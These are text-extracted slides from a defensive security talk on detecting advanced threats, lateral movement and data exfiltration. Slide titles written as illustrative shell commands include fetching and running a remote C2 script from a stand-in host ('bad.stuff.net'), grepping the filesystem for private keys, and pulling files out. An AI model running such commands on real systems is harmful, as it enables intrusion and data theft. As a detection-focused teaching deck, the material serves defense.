Advanced Threats and Lateral Movement Detection

Advanced  Threats  &  Lateral  Movement  Detec5on  Greg  Foss  OSCP,  GAWN,  GPEN,  GWAPT,  GCIH,  CEH  Sr.  Security  Research  Engineer  LogRhythm  Labs  

#  whoami  

•  Greg  Foss  •  Sr.  Security  Researcher  •  LogRhythm  Labs  –  Threat  Intel  Team  •  Former  DOE  PenetraEon  Tester  •  Focus  =>  Honeypots,  Incident  Response,  and  Red  Team  •  OSCP,  GAWN,  GPEN,  GWAPT,  GCIH,  CEH,  etc…  

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#  ls  -­‐lha  

IT  Security  Threats  

Event  CorrelaEon  

DetecEon  

DEMO!  

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#  man  [Advanced  Threats]  

•  Advanced  Persistent  Threats  •  Organized  Cyber  Crime  •  Hack5vists  •  ‘Cyber  Terrorists’  •  Etc…  

•  Able  to  develop  and  uElize  sophisEcated  techniques  in  pursuit  of  their  target  objecEve  from  reconnaissance  to  data  exfiltraEon.  

•  Will  leverage  the  full  spectrum  of  aWack  vectors  –  social,  technical,  physical,  etc.  

•  Highly  organized,  highly  moEvated,  highly  resourced.      

•  Willing  to  invest  significant  Eme  and  resources  to  compromise.  

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It’s  when,  not  if…  

•  Mission  Oriented  

•  Persistent  an  Driven  

•  PaEent  and  Methodical  

•  Focus  on  exponenEal  ROI  

•  Emphasis  on  high  IP  value  targets  

•  They  will  get  in…  

6   Image:  hWp://pos^iles10.naver.net/20120823_137/ahranta1_1345681933371Je4vd_JPEG/Target.jpg  

Iden5fy  a  ‘Hacker’  

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Ok,  for  real…  

•  *Simple…  Correlate  on  odd  network  /  host  ac5vity  •  Use  the  data  at  hand  to  acEvely  detect  anomalies  •  Understand  how  your  organizaEon  will  respond  to  a  breach  /  

outage  /  squirrel  affecEng  any  of  the  three  InfoSec  pillars    •  Confiden5ality  •  Integrity  •  Availability  

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Advanced  Threat  Tac5cs  and  Evasion  

•  Threat  actors  of  all  types  move  slowly  and  quietly  over  Eme.  LimiEng  exposure  and  potenEal  for  discovery.  

•  Trending  on  enterprise  data  over  Eme  helps  to  build  baselines  that  can  be  used  to  ac5vely  iden5fy  anomalies.  

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IT  Security  Threats  

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#  last  &&  echo  ‘How  are  they  geYng  in??’  

•  Phishing  •  91%  of  ‘advanced’  aWacks  began  with  a  phishing  email  or  

similar  social  engineering  tacEcs.  •  hWp://www.infosecurity-­‐magazine.com/view/29562/91-­‐of-­‐apt-­‐aWacks-­‐

start-­‐with-­‐a-­‐spearphishing-­‐email/    

•  2014  Metrics  •  Average  cost  per  breach  =>  $3.5  million  •  15%  Higher  than  the  previous  year  

•  hWp://www.ponemon.org/blog/ponemon-­‐insEtute-­‐releases-­‐2014-­‐cost-­‐of-­‐data-­‐breach-­‐global-­‐analysis    

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#  last  &&  echo  ‘How  are  they  geYng  in??’  

•  Phishing  •  91%  of  ‘advanced’  aWacks  began  with  a  phishing  email  or  

similar  social  engineering  tacEcs.  •  hWp://www.infosecurity-­‐magazine.com/view/29562/91-­‐of-­‐apt-­‐aWacks-­‐

start-­‐with-­‐a-­‐spearphishing-­‐email/    

•  2014  Metrics  •  Average  cost  per  breach  =>  $3.5  million  •  15%  Higher  than  the  previous  year  

•  hWp://www.ponemon.org/blog/ponemon-­‐insEtute-­‐releases-­‐2014-­‐cost-­‐of-­‐data-­‐breach-­‐global-­‐analysis    

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#  history  |  more  

•  It  only  takes  one…  

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#  ./searchsploit  ‘client  side’  &&  echo  ‘new  exploits  daily!’  

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#  cat  [cve-­‐2014-­‐6332]  >>  /var/www/pwn-­‐IE.html  

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Event  Correla5on  &  Detec5on  

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Defense  in  Depth  

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Spear  Phishing  

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Phishing  Aback  Log  Traces  

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$  vim  next.sh  

•  Maintain  Access…  

20   Image:  hWp://www.netresec.com/images/back_door_open_300x200.png  

$  ./next.sh  

•  Then?  

•  *Nothing…  

•  For  a  long  Eme…    •  *not  really*  

•  They  have  aWained  a  foothold  and  are  now  your  newest  employees…  

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$  su  -­‐  root  

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#  wget  hbp://bad.stuff.net/c2.py  .  &&  ./c2.py  

•  Once  infected,  the  beachhead  will  beacon  periodically  

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Behavioral  Analy5cs  

•  Beaconing  Ac5vity  –  Usually  iniEated  over  port  443  or  an  encrypted  tunnel  over  port  80.  

•  Can  be  detected  with  a  Firewall  or  Web  Proxy  •  Capability  to  decrypt  SSL  traffic  is  a  huge  plus  

•  Behavioral  analy5cs  can  be  uElized  to  differenEate  normal  browsing  acEvity  from  possible  evidence  of  an  infected  host.  •  Using  a  SIEM,  track  the  unique  websites  usually  visited,  and  the  overall  

volume  of  normal  web  acEvity,  on  a  per  user  and  a  per  host  basis.  •  Watch  for  significant  changes  over  an  extended  period  of  Eme.  

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Reconnaissance  

•  Ping  sweeps,  service  discovery,  etc.  –  NO  

•  Why  make  unnecessary  noise?  

•  Instead  =>  access  network  shares,  web  apps,  and  services  

•  Passively  gather  informaEon  using  available  resources…  

25   Image:  hWp://macheads101.com/pages/pics/download_pics/mac/portscan.png  

Lateral  Movement  

•  Dump  Local  System  Hashes  •  Maybe  crack  them,  maybe  it’s  not  even  necessary…  

•  Pass  the  Hash  (PtH)  

•  Dump  plain  text  passwords  •  Mimikatz  -­‐-­‐  FTW!  

•  Act  as  an  internal  employee  -­‐-­‐  use  legiEmate  means  to  access  resources.  

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Uncovering  Internal  Reconnaissance  and  Pivo5ng  •  Security  OperaEons  Goal  =>  Reduce  MTTD  and  MTTR  

•  MTTD  –  Mean  Time  to  Detect  •  MTTR  –  Mean  Time  to  Respond  

•  Set  Traps  =>  Honeypot  /  Honey  Token  access  

•  Overt  Clues  =>  ModificaEon  of  user  /  file  /  group  permissions  and  pivoEng  evidence  

•  Subtle  Clues  =>  VPN  access  from  disparate  geographical  locaEons  

•  Missed  Opportuni5es  =>  Once  inside,  they  are  now  an  ‘employee’…  

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Lateral  Movement  Log  Traces  

•  Microsos’s  granular  Event  IdenEficaEon  schema  (EVID)  in  conjuncEon  with  environment  informaEon  provides  analysts  with  plenty  of  informaEon  to  track  aWackers  once  they  have  breached  the  perimeter.  

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Passive  Data  Extrac5on  

•  Well  Poisoning  via  UNC  Paths  

•  SMB  Replay  

•  Help  Desk  Tickets  

•  Responder  –  By  Spider  Labs  

•  Keylogging  

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Passive  Traffic  Analysis  

•  Analyze  /  capture  anything  that  comes  across  the  wire.  

•  ARP  poison  hosts  of  interest,  take  over  switches/routers,  etc.  

30   Image:  hWps://i.chzbgr.com/maxW500/5579525376/h7D009AE4/  

#  grep  –rhi  ‘private  key’  /*  &&  echo  “Iden5fy  Key  Resources”  

•  Keys  /  CerEficates  /  Passwords    •  File  Shares  and  Databases  

•  Intellectual  Property  

•  Domain  Controllers  /  Exchange  /  etc.  

•  Business  Leaders  –  CXO,  Director,  VP,  etc.    •  AdministraEve  Assistants  

31   Image:  hWp://www.mobilemarkeEngwatch.com/wordpress/wp-­‐content/uploads/2011/07/Top-­‐Secret-­‐Tip-­‐To-­‐Pick-­‐SMS-­‐Keyword.jpeg  

#  wget  hbp://target/files.tgz  &&  echo  “Data  Exfiltra5on”  

•  Target  data  idenEfied,  gathered,  and  moved  out  of  the  environment.  

•  Data  is  normally  leaked  in  a  ‘hidden’  or  modified  format,  rarely  is  the  actual  document  extracted.  

•  Emails  and  Employee  PII  

•  Intellectual  Property  

•  Trade  Secrets  

32  Image:  hWp://www.csee.umbc.edu/wp-­‐content/uploads/2013/04/ex.jpg  

Data  Exfiltra5on  is  Open  Not  ‘Advanced’  

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Catching  Data  Exfiltra5on  

•  Granular  restric5ons  on  sensi5ve  files  and  directories  to  specific  groups  or  individuals,  alert  on  any  abnormal  file  access  /  read  /  write  /  etc.    

•  DNS  exfiltra5on  or  someEmes  even  ICMP  Tunneling  in  high  security  environments  

 •  Non-­‐SSL  over  ports  443  /  8443,  encrypted  TCP  over  ports  80  /  8080  

•  Abnormal  web  server  ac5vity,  newly  created  files,  etc.  

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It  all  comes  down  to  Event  Correla5on  

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DEMO  

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DEMO  

Closing  Thoughts…  

•  Don’t  be  hard  on  the  outside,  sos  and  chewy  on  the  inside…  

•  Implement  Layer  3  (network)  SegmentaEon  and  Least  User  Privilege  

•  Understand  your  environment  and  log  data  so  that  you  can  accurately  correlate  physical  and  cyber  events  

•  Implement  URL  filtering,  stateful  packet  inspecEon,  and  binary  analysis  

•  AcEvely  alert  on  and  respond  at  the  earliest  signs  of  lateral  movement  and  reconnaissance  observed  within  your  environment  

•  The  earlier  you  can  detect  aWackers  the  beWer…  

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Thank  You!  

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 QUESTIONS?  

 Greg  Foss  

OSCP,  GAWN,  GPEN,  GWAPT,  GCIH,  CEH  Senior  Security  Research  Engineer  

Greg.Foss[at]logrhythm.com  @heinzarelli